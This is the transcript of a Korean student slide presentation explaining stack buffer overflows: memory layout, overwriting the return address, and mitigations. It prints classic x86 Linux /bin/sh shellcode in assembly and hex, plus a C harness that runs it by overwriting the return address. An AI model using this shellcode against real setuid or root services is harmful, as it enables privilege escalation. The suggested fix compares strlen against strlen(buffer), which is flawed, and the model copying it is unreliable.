1 / 21

버퍼오버플로우

버퍼오버플로우. 20076552 오가경. 2. 3. 4. 메모리 구조. 스택 버퍼 오버 플로우. 버퍼 오버 플로우 공격 원리. 목 차. 1. 버퍼 오버 플로우 소개. 5. 공격 사례와 해결방안. 버퍼오버플로우 소개. 버퍼 오버 플로우 란 ? 지정된 버퍼 (Buffer) 의 크기보다 더 많은 데이터를 입력 -> 프로그램이 비정상적으로 동작하도록 함 . 버퍼란 프로그램 처리 과정에 필요한 데이터가 일시적으로 저장되는 공간 . -> C 에서 배열이나 포인터 부분에서 많이 사용

roz
Télécharger la présentation

버퍼오버플로우

An Image/Link below is provided (as is) to download presentation Download Policy: Content on the Website is provided to you AS IS for your information and personal use and may not be sold / licensed / shared on other websites without getting consent from its author. Content is provided to you AS IS for your information and personal use only. Download presentation by click this link. While downloading, if for some reason you are not able to download a presentation, the publisher may have deleted the file from their server. During download, if you can't get a presentation, the file might be deleted by the publisher.

E N D

Presentation Transcript


  1. 버퍼오버플로우 20076552 오가경

  2. 2 3 4 메모리 구조 스택 버퍼 오버 플로우 버퍼 오버 플로우 공격 원리 목 차 1 버퍼 오버 플로우 소개 5 공격 사례와 해결방안

  3. 버퍼오버플로우 소개 • 버퍼 오버 플로우 란? • 지정된 버퍼(Buffer)의 크기보다 더 많은 데이터를 입력-> 프로그램이 비정상적으로 동작하도록 함. • 버퍼란프로그램 처리 과정에 필요한 데이터가 일시적으로 저장되는 공간.-> C에서 배열이나 포인터 부분에서 많이 사용 • 버퍼오버플로우의 발생 원인-> C언어에서는 데이터가 지정된 버퍼의 크기보다 더 많이 입력되었는지를 체크하지 않음.

  4. 버퍼오버플로우 소개 • 버퍼 오버 플로우 공격이란? • 메모리에 할당된 버퍼의 양을 초과하는 데이터를 입력하여 프로그램의 복귀 주소(return address)를 조작하여, 궁극적으로 해커가 원하는 코드를 실행하는 것. • 대개의 경우 버퍼가 오버 플로우 되면 프로그램이 비정상적으로 종료-> 버퍼가 오버 플로우 되는 순간에 사용자가 원하는 임의의 명령어를 수행시킬 수 있다는 가능성이 알려지면서 문제가 되기 시작함. • 1997년 Aleph One이 Phrack 잡지 49호 “Smashing the Stack for Fun and Profit”이라는 제목으로 기사를 기고하면서 널리 알려진 기법임

  5. 메모리 구조 • 메모리 기본 구조

  6. 메모리 구조 • 스택의 구조 Higher memory address Lower memory address

  7. 버퍼 오버 플로우 공격 원리 • 공격 방법 • 적당한 곳에 해커가 원하는 코드 삽입 • 리턴 어드레스를 그 삽입한 코드 부분이 있는 곳으로 바꿔 줌 • 공격 대상 • setUID 설정이 된 실행파일- 프로그램이 SETUID 루트로 실행되어서 프로그램의 실행 중에 루트 권한으로 동작하고 있으면, 내부 사용자가 루트 권한을 얻을 수 있음. • root 권한으로 작동되고 있는 서버프로그램 등…- 서버 프로그램과 같이 외부에서 입력을 받으며 실행되는 프로그램이 버퍼 오버플로우 공격을 당하게 되면 공격자가 내부 사용자 권한을 획득 할 수가 있게 됨.

  8. 버퍼 오버 플로우 공격 원리 • 공격 방법 • 메모리에 이진 실행 코드(shell code)를 저장▷버퍼를 오버플로우 시킬 때, 해당 버퍼에 쉘코드를 저장 • 루트권한으로 실행되는 프로그램의 리턴주소를 조작▷ 조작된 리턴주소는 쉘코드로 점프▷ 리턴주소는 버퍼를 오버플로우 시켜서 원하는 값으로 덮어씀 • 프로그램이 종료시 조작된 리턴주소를 읽어서 복귀▷ 쉘코드가 실행 (루트권한)▷ 루트권한으로 특정 작업이 실행/공격자는 루트의 권한 획득

  9. 버퍼 오버 플로우 공격 원리 • 쉘 코드 ▷/bin/sh을 실행하는 코드들 임. ▷ /bin/sh을 실행하게 되면, 그 이후부터는 이 쉘을 이용해 다른 모든 명령을 실행 시킬 수 있음. • 쉘 코드의 구조 #include <stdio.h> void main(){ char *name[2]; name[0] = “/bin/sh”; name[1] = NULL; execv( name[0], name, NULL ); }

  10. 버퍼 오버 플로우 공격 원리 • 쉘을 실행시키는 코드 추출(intel x86의 리눅스 코드 임. ) jmp 0x1f popl %esi movl %esi, 0x8(%esi) xorl %eax, %eax movb %eax, 0x7(%esi) movl %eax, 0xc(%esi) movb %0xb, %al movl %esi, %ebx leal 0x8(%esi), %ecx leal 0xc(%esi), %edx int $0x80 xorl %ebx, %ebx movl %ebx, %eax inc %eax int $0x80 call -0x24 .string “/bin/sh”

  11. 버퍼 오버 플로우 공격 원리 • 이 코드를 스택에 넣은 다음 실행 시키면, /bin/sh을 실행 시키게 됨.위의 코드를 16진수 형태의 문자배열로 만들어야 됨.다음과 같은 문자 배열을 만들 수 있음. eb 1f 5e 89 76 08 31 c0 88 46 07 89 46 0c b0 0b 89 f3 8d 4e 08 8d 56 0c cd 80 31 db 89 d8 40 cd 80 e8 dc ff ff ff 2f 62 69 6e 2f 73 68 00

  12. 버퍼 오버 플로우 공격 원리 • 쉘 코드 동작 확인 테스트프로그램.char shellcode[]= “\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07 \x89\x46\x0c\xb0\x0b” “\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31 \xdb\x89\xd8\x40\xcd” “\x80\xe8\xdc\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73 \x68”; void main() { int *ret; ret=(int *)&ret+2; (*ret)=(int)shellcode; }

  13. 스택 버퍼 오버 플로우 • Stack을 사용하는 이유 • 함수와 프로시저를 사용하기 위함 • 프로시저 호출 : 프로그램의 흐름을 변경, 프로그램의 명령을 끝낸 후 리턴 • Return-Address(RET) : 프로그램은 텍스트 영역을 읽으면서 실행 -> 함수를 호출할 때는 그 함수의 역할이 끝나고 돌아올 주소(RET)를 Stack에 저장 • 함수의 실행이 끝난 후에 Stack에 저장된 RET를 참조하여 프로그램 코드 실행 • RET를 바꾸면 프로그램의 흐름을 변경 가능

  14. 스택 버퍼 오버 플로우 Buffer 크기보다 더 많은 문자가 입력 되었기 때문에 SFP(Stack Frame Pointer) 영역은 물론 RET(Return add.), 인수영역까지 침범하여 문자로 채움 이 때,Buffer에 shell code를 넣고 RET에 Buffer 주소를 넣으면 shell code 실행가능. High void sample_function(char *str) { char buffer[16]; strcpy (buffer, str); return; } void main() { char buffer[256]; int i; for (i = 0; i < 255; i++) buffer[i] = ‘A’; sample_function (buffer); } RET 의 값은 Parameters의 주소 Low

  15. 스택 버퍼 오버 플로우 <공격전> main main function function call call shell code <공격후>

  16. 공격사례와 해결방안 • 버퍼 오버 플로우 현상 1 sample_function 함수 안에 buffer 배열의 사이즈는 200개인데 main 함수 안의 buffer 배열 사이즈 256개를 복사 하려고 하니 버퍼 오버플로우 현상이 나타나 오류가 발생한 것을 확인 할 수 있다.

  17. 공격사례와 해결방안 • 해결책 If(strlen(str) > strlen(buffer)){ prntf(“Buffer OverFlow\n”); exit(1); } 문자열 길이를 체크하여 버퍼오버플로우 방지.

  18. 공격사례와 해결방안 • 소스코드 스캐너의 사용 • lint 라는 유닉스용 툴 사용이식 가능하고 표준 및 규정에도 맞는 C 구문이지만 오류를 발생할 가능성이 있는 숨어 있는 문제 (implicit problem)에 대해서 리포팅 해주는 기능 • 오픈소스로 공개되어 있음clint : A source code checker for C++ http://www.sourceforge.net/projects/clint/jlint : A static Java program checker http://artho.com/jlint/splint : tool that checks C programs for security problems and oding mistakes http://www.splint.org/

  19. 공격사례와 해결방안 • 함수 차원에서의 방법 • 취약한 함수는 대체함수로 사용

  20. 공격사례와 해결방안 • 보안패치 적용 • 버퍼 오버플로우 공격을 방지할 수 있는 가장 기본적인 방법은 각 시스템 회사에서 배포하는 보안패치를 적용하는 것이다. • 불필요한 프로그램을 정지 • 해커들의 공격대상이 되고 있는 버퍼 오버플로우 취약점을 가진 네트워크 서비스들 중 대부분은 실제 사용되지 않는 서비스들이 많다. 그러므로 이러한 서비스들은 부팅시에 자동으로 실행되지 않게 하거나 해당 서비스의 실행을 중지 시켜야만한다. • 버퍼 오버플로우 차단프로그램 설치 운영 • 만약 패치가 신속히 제공되지 않을 때 차단 프로그램(Wrapper)으로 버퍼 오버플로우를 해결한다.

  21. 감사합니다 !

More Related